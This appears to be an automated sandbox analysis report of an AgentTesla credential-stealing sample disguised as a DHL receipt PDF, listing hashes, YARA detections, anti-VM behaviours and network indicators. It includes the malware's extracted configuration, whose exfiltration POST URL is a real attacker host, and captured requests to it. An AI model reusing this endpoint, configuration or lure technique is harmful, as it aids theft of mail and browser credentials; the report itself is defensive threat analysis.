Play interactive tour

Edit tour

Windows Analysis Report DHL_119040 ontvangstbewijs,pdf.exe

Overview

General Information

Sample Name:	DHL_119040 ontvangstbewijs,pdf.exe
Analysis ID:	528504
MD5:	a9b63c434e205092b3373e35c051a04a
SHA1:	1b8d4e51f63e23b881159d168b5c0e70012c7e6c
SHA256:	3905a71c3e23f4845d1201f74ac1c9c041b0254ff486a3ea4fc2bb7119631ce9
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected AgentTesla

Yara detected AntiVM3

Multi AV Scanner detection for domain / URL

Tries to steal Mail credentials (via file / registry access)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Uses a known web browser user agent for HTTP communication

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

DHL_119040 ontvangstbewijs,pdf.exe (PID: 4532 cmdline: "C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe" MD5: A9B63C434E205092B3373E35C051A04A)

DHL_119040 ontvangstbewijs,pdf.exe (PID: 6736 cmdline: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe MD5: A9B63C434E205092B3373E35C051A04A)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "Http", "HTTP method": "Post", "Post URL": "https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php", "User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000002.567348132.0000000002960000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.DHL_119040 ontvangstbewijs,pdf.exe.28d8f58.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.296b68c.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 17 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Http", "HTTP method": "Post", "Post URL": "https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php", "User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"}

Multi AV Scanner detection for domain / URL

Show sources

Source: mgbless.in	Virustotal: Detection: 5%	Perma Link
Source: www.mgbless.in	Virustotal: Detection: 7%	Perma Link
Source: http://www.mgbless.in	Virustotal: Detection: 7%	Perma Link

Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 104.223.93.105:443 -> 192.168.2.3:49747 version: TLS 1.2

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 104.223.93.105 104.223.93.105
Source: Joe Sandbox View	IP Address: 104.223.93.105 104.223.93.105

Source: global traffic	HTTP traffic detected: POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: www.mgbless.inContent-Length: 368Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: www.mgbless.inContent-Length: 370Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: www.mgbless.inContent-Length: 380Expect: 100-continue

Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: http://lmeJrA.com
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567156721.00000000028D9000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	String found in binary or memory: http://mgbless.in
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567156721.00000000028D9000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	String found in binary or memory: http://www.mgbless.in
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567237496.00000000028F9000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.in
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000003.346874952.0000000000C23000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.in/
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php127.0.0.1POST
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.in4
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	String found in binary or memory: https://www.mgbless.inD8
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

HTTP traffic detected: POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: www.mgbless.inContent-Length: 368Expect: 100-continueConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: www.mgbless.in

Source: unknown

HTTPS traffic detected: 104.223.93.105:443 -> 192.168.2.3:49747 version: TLS 1.2

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b03A0F30Cu002d135Du002d465Du002d890Au002d43EFC19CAB91u007d/E21F461Cu002dB8FDu002d40BBu002dACBAu002d17BB57CD05CC.cs	Large array initialization: .cctor: array initializer size 11846
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack, u003cPrivateImplementationDetailsu003eu007b03A0F30Cu002d135Du002d465Du002d890Au002d43EFC19CAB91u007d/E21F461Cu002dB8FDu002d40BBu002dACBAu002d17BB57CD05CC.cs	Large array initialization: .cctor: array initializer size 11846
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack, u003cPrivateImplementationDetailsu003eu007b03A0F30Cu002d135Du002d465Du002d890Au002d43EFC19CAB91u007d/E21F461Cu002dB8FDu002d40BBu002dACBAu002d17BB57CD05CC.cs	Large array initialization: .cctor: array initializer size 11846
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack, u003cPrivateImplementationDetailsu003eu007b03A0F30Cu002d135Du002d465Du002d890Au002d43EFC19CAB91u007d/E21F461Cu002dB8FDu002d40BBu002dACBAu002d17BB57CD05CC.cs	Large array initialization: .cctor: array initializer size 11846

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_004B5C24	1_2_004B5C24
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_00D98250	1_2_00D98250
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_00D9D2F8	1_2_00D9D2F8
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_05075AA0	1_2_05075AA0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_05075AB0	1_2_05075AB0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00505C24	4_2_00505C24
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C721A8	4_2_00C721A8
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C70D68	4_2_00C70D68
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C756E8	4_2_00C756E8
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7B7A0	4_2_00C7B7A0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7C5B8	4_2_00C7C5B8
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C74A50	4_2_00C74A50
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7C668	4_2_00C7C668
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C8C080	4_2_00C8C080
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C82618	4_2_00C82618
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C81FF0	4_2_00C81FF0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C82F6D	4_2_00C82F6D
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C8AB78	4_2_00C8AB78
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C8A1C0	4_2_00C8A1C0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C8E930	4_2_00C8E930
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_026846A0	4_2_026846A0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_026845B0	4_2_026845B0
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_0268DA00	4_2_0268DA00
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7E438	4_2_00C7E438

Source: DHL_119040 ontvangstbewijs,pdf.exe	Binary or memory string: OriginalFilename vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309034785.00000000004B2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameIsJitIntrins.exe. vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamerrNOpTKQfXOboHdQAJfuZzXWwnBGhmltNFVw.exe4 vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamerrNOpTKQfXOboHdQAJfuZzXWwnBGhmltNFVw.exe4 vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUI.dll@ vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.313255265.0000000005CA0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameUI.dll@ vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.312491538.0000000005810000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe	Binary or memory string: OriginalFilename vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000000.304523646.0000000000502000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameIsJitIntrins.exe. vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.565220129.0000000000938000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000000.306861982.0000000000438000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamerrNOpTKQfXOboHdQAJfuZzXWwnBGhmltNFVw.exe4 vs DHL_119040 ontvangstbewijs,pdf.exe
Source: DHL_119040 ontvangstbewijs,pdf.exe	Binary or memory string: OriginalFilenameIsJitIntrins.exe. vs DHL_119040 ontvangstbewijs,pdf.exe

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

File read: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe:Zone.Identifier

Jump to behavior

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe "C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe"
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process created: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process created: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL_119040 ontvangstbewijs,pdf.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@6/2

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: /IsJitIntrins;component/views/addbook.xaml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: views/addbook.baml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: views/addcustomer.baml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: /IsJitIntrins;component/views/addcustomer.xaml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: /IsJitIntrins;component/views/addbook.xaml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: views/addbook.baml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: views/addcustomer.baml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: /IsJitIntrins;component/views/addcustomer.xaml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: U/IsJitIntrins;component/views/addbook.xamlk/IsJitIntrins;component/views/borrowfrombookview.xamla/IsJitIntrins;component/views/borrowingview.xaml[/IsJitIntrins;component/views/changebook.xamlc/IsJitIntrins;component/views/changecustomer.xaml_/IsJitIntrins;component/views/customerview.xamlc/IsJitIntrins;component/views/deletecustomer.xamlY/IsJitIntrins;component/views/errorview.xaml]/IsJitIntrins;component/views/smallextras.xaml]/IsJitIntrins;component/views/addcustomer.xaml
Source: DHL_119040 ontvangstbewijs,pdf.exe	String found in binary or memory: *images/booksimage.jpg$views/addbook.baml1J,views/addcustomer.baml

Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
